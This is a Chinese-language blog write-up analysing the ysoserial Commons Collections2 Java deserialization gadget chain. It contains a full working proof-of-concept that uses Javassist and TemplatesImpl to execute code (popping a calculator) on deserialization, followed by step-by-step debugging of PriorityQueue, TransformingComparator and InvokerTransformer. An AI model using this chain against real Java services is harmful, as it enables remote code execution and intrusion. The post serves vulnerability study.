Ysoserial Commons Collections2分析

About Commons Collections2

CC2与CC1不同在于CC2用的是Commons Collections4.0;同时利用方式CC2用到了Javassist动态编程,从功能上来说CC1用于执行命令,而CC2可以任意代码执行危害更大,所以像常用的shiro打内存马也会用到CC2。

CC2 Gadget Chain

	Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

poc

public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); //获取默认类池
classPool.appendClassPath(AbstractTranslet); //末尾添加一个ClassPath
CtClass payload=classPool.makeClass("j"); //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态构造方法并将其内容设置为弹calc
byte[] bytes=payload.toBytecode(); //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); //反射获取属性值_bytecodes
field.setAccessible(true); //强制反射
field.set(templatesImpl,new byte[][]{bytes}); //重新设置_bytecodes的值为bytes也就是弹calc Field field1=templatesImpl.getClass().getDeclaredField("_name"); //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test"); //将_name属性赋值为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject(); }
}

前置知识

PriorityQueue

Queue是一个(FIFO)先进先出的队列,而PriorityQueue是一个根据元素优先级出队的队列类。

构造方法

PriorityQueue(int initialCapacity)
创建具有指定初始容量的PriorityQueue ,该容量根据其natural ordering对其元素进行排序 。

常用方法

boolean	add(E e)
将指定的元素插入此优先级队列。

Javassist

Javassist的默认类池搜索系统搜索路径,通常包括平台库、扩展库以及-classpath选项或CLASSPATH 环境变量指定的搜索路径 。

关于Javassist不会详细解读,没了解过Javassist的师傅也可以参考我这篇文章https://www.cnblogs.com/CoLo/p/15383642.html

Field

field.set(Object obj, Object value): 将指定对象变量上此 Field 对象表示的字段设置为指定的新值.

PoC分析

后面会把poc拆分成几部分依次过一下

首先看第一部分, 声明了两个string:AbstractTranslet,TemplatesImpl ;之后用到了javassist创建了一个类,类名为j,同时设置该类父类为AbstractTranslet并通过makeClassInitializer方法在该类中添加静态代码块,代码块内容为弹calc。

看到这里大概可以猜到后续应该会初始化该类从而触发在该类中写入的静态代码块内容去弹计算器(or 任意代码执行)。

抛出问题1: 为什么要设置父类为AbstractTranslet?

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); //获取默认类池
classPool.appendClassPath(AbstractTranslet); //append一个ClassPath,为后续设置父类作准备
CtClass payload=classPool.makeClass("j"); //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态代码块并将其内容设置为弹calc

这里可以添加一行代码payload.writeFile("./");将此class文件输出到当前目录看一下会比较清晰明了。

继续看第二部分。将新建的类转换为byte数组,通过反射创建TemplatesImpl实例化对象赋值给了templatesImpl,并通过反射拿到了该对象的_bytecodes并设置属性值为上面新建的类的byte数组。

抛出问题2:为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes

之后依然是反射拿到_name属性并赋值test,看起来像是随意赋值,只要_name有值即可。

抛出问题3:为什么_name属性必须要有值?

byte[] bytes=payload.toBytecode();  //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); //反射获取属性值_bytecodes
field.setAccessible(true); //强制反射
field.set(templatesImpl,new byte[][]{bytes}); //重新设置_bytecodes的值为bytes也就是弹calc Field field1=templatesImpl.getClass().getDeclaredField("_name"); //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test"); //将_name属性赋值为test

首先切入问题2,在poc中readObject下断点跟到com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中,看下TemplatesImpl的源码,其实打fj多的师傅应该比较熟悉TemplatesImpl,这也是打fj的payload会用到的点。

调用栈如下,最后是在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#defineTransletClasses方法执行的代码

先只关注TemplatesImpl部分,首先newTransformer方法在执行new TransformerImpl时调用了getTransletInstance()

进入getTransletInstance(),由于_classnull,进入defineTransletClasses方法

到这里就很清晰了,通过ClassLoader#defineClass()加载_byrecides属性值的字节流数据创建恶意类并返回给_class数组,后续会对其进行实例化,所以这也是为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes而不是选择其他类或其他属性。

而关于之前第一个问题为什么要设置父类为AbstractTranslet,因为要走到下面的if判断中给_transletIndex属性重新赋值,这个属性在TemplatesImpl中默认设置为-1,而重新设置值与后面的实例化触发静态代码块中代码执行有关

回到TemplatesImpl#getTransletInstance()将一开始创建的类通过(AbstractTranslet) _class[_transletIndex].newInstance()触发代码执行,而如果_transletIndex值为-1的话应该会抛下标越界就不能正常的实例化触发静态代码块中的代码执行了。这里注意第一个if,需要_name不为null才继续往下走,所以这也是问题3为什么_name属性要设置一个值。

所以后续找到如何调用的newTransformer方法即可。poc中给的是InvokerTransformer去反射调用newTransformer的执行,其流程大致为先获取InvokerTransformer对象之后将其作为TransformingComparator构造方法的参数来实例化一个TransformingComparator对象,后续创建了一个PriorityQueue添加了两个元素。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

后续和之前一样的操作通过反射分别给comparatorqueue赋值,如下图

最后就是序列化queue对象写入test.out之后读取test.out再进行反序列化触发代码执行

抛出问题4:为什么要添加两个元素呢?

这里可以带着问题调试poc观察下

调试分析

还是在poc中readObject()处下断点,跟进到PriorityQueue#readObject(),跟进heapify()

这里是一个for循环,注意size就是我们前面设置的PriorityQueue的长度,这里做了无符号右移1位 再-1的操作。

放两张图感受下,所以这也是问题4为什么要添加两个元素的答案,如果只放一个就直接跳出for不再继续往下调用siftDown方法了

后续就比较简单了,进入siftDown方法后调用siftDownUsingComparator方法

siftDownUsingComparator方法中调用compare方法,其中x为我们弹计算器的恶意类

compare方法中调用InvokerTransformer#transform()方法

transform中反射调用com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl#newTransformer()

在其中调用了getTransletInstance()

先做了_name是否为null的判断,之后进入defineTransletClasses()方法。

在其中调用了ClassLoader#defaineClass()方法加载bytes数组生成恶意类

并判断该类父类是否为对_transletIndex重新赋值或到最后抛出异常

回到getTransletInstance()方法实例化我们的恶意类最终触发静态代码块中代码执行。

其实调试下来会发现poc的chain和yso中的不太一样,yso封装的太多,感觉不如直接调poc来的更易理解。不过yso还是要去深入理解的非常好的项目:D

PoC Chain:

ObjectInputStream.readObject()
PriorityQueue.readObject()
...
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()

End

一开始看这条链头大,有些没接触到的东西且cc1也是前一段时间分析的了,没有那么的熟悉所以看起来很吃力,还是需要多调试几次。其实对于每个细节都是有说法的,需要带着问题去调试会更容易理解。

Ysoserial Commons Collections2分析的更多相关文章

  1. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  2. Ysoserial Commons Collections3分析

    Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  3. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  4. ysoserial Commons Collections2反序列化研究

    Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...

  5. Commons Collections2分析

    0x01.POC分析 //创建一个CtClass对象的容器 ClassPool classPool=ClassPool.getDefault(); //添加AbstractTranslet的搜索路径 ...

  6. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  7. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  8. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  9. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

随机推荐

  1. kettle 乱码问题处理方案

    一.同下图加上 "-Dfile.encoding=UTF-8" ,两都都加没有试过,可先加一处,如果没有处理到问题,再加另外一处

  2. Go与接口:实现接口的条件

    接口类型变量 Go是强类型语言,你不能将整数值赋值给浮点型变量.同样,也不能将没有实现接口的类型值赋值给接口类型变量. // 1.定义变量是接口类型 var w io.Writer // 2.将具体类 ...

  3. ES6 class——音乐播放器实例

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  4. 性能环境之docker操作指南4(全网最全)

    容器的常用操作 docker run -i -t  /bin/bash 使用image创建container并进入交互模式, login shell是/bin/bash 实例: $ docker ru ...

  5. 20210716考试-NOIP19

    u,v,w. 这场考过. T1 u 差分裸题 #include<bits/stdc++.h> using namespace std; const int N=5000; int n,m; ...

  6. vue-cli坑比系列

    Error loading saved preferences: ~/.vuerc may be corrupted or have syntax errors. Please fix/delete ...

  7. linux 常用命令脑图

  8. 为何GRE可以封装组播报文而IPSEC却不行?

    Author       : Email         : vip_13031075266@163.com Date          : 2021.01.24 Copyright : 未经同意不得 ...

  9. 第06课:GDB 常用命令详解(中)

    本课的核心内容: info 和 thread 命令 next.step.util.finish.return 和 jump 命令 info 和 thread 命令 在前面使用 info break 命 ...

  10. JS007. 深入探讨带浮点数运算丢失精度问题(二进制的浮点数存储方式)

    复现与概述 当JS在进行浮点数运算时可能产生丢失精度的情况: 从肉眼可见的程度上观察,发生精度丢失的浮点数是没有规律的,但该浮点数丢失精度的问题会100%复现.经查阅,这个问题要追溯至浮点数的二进制存 ...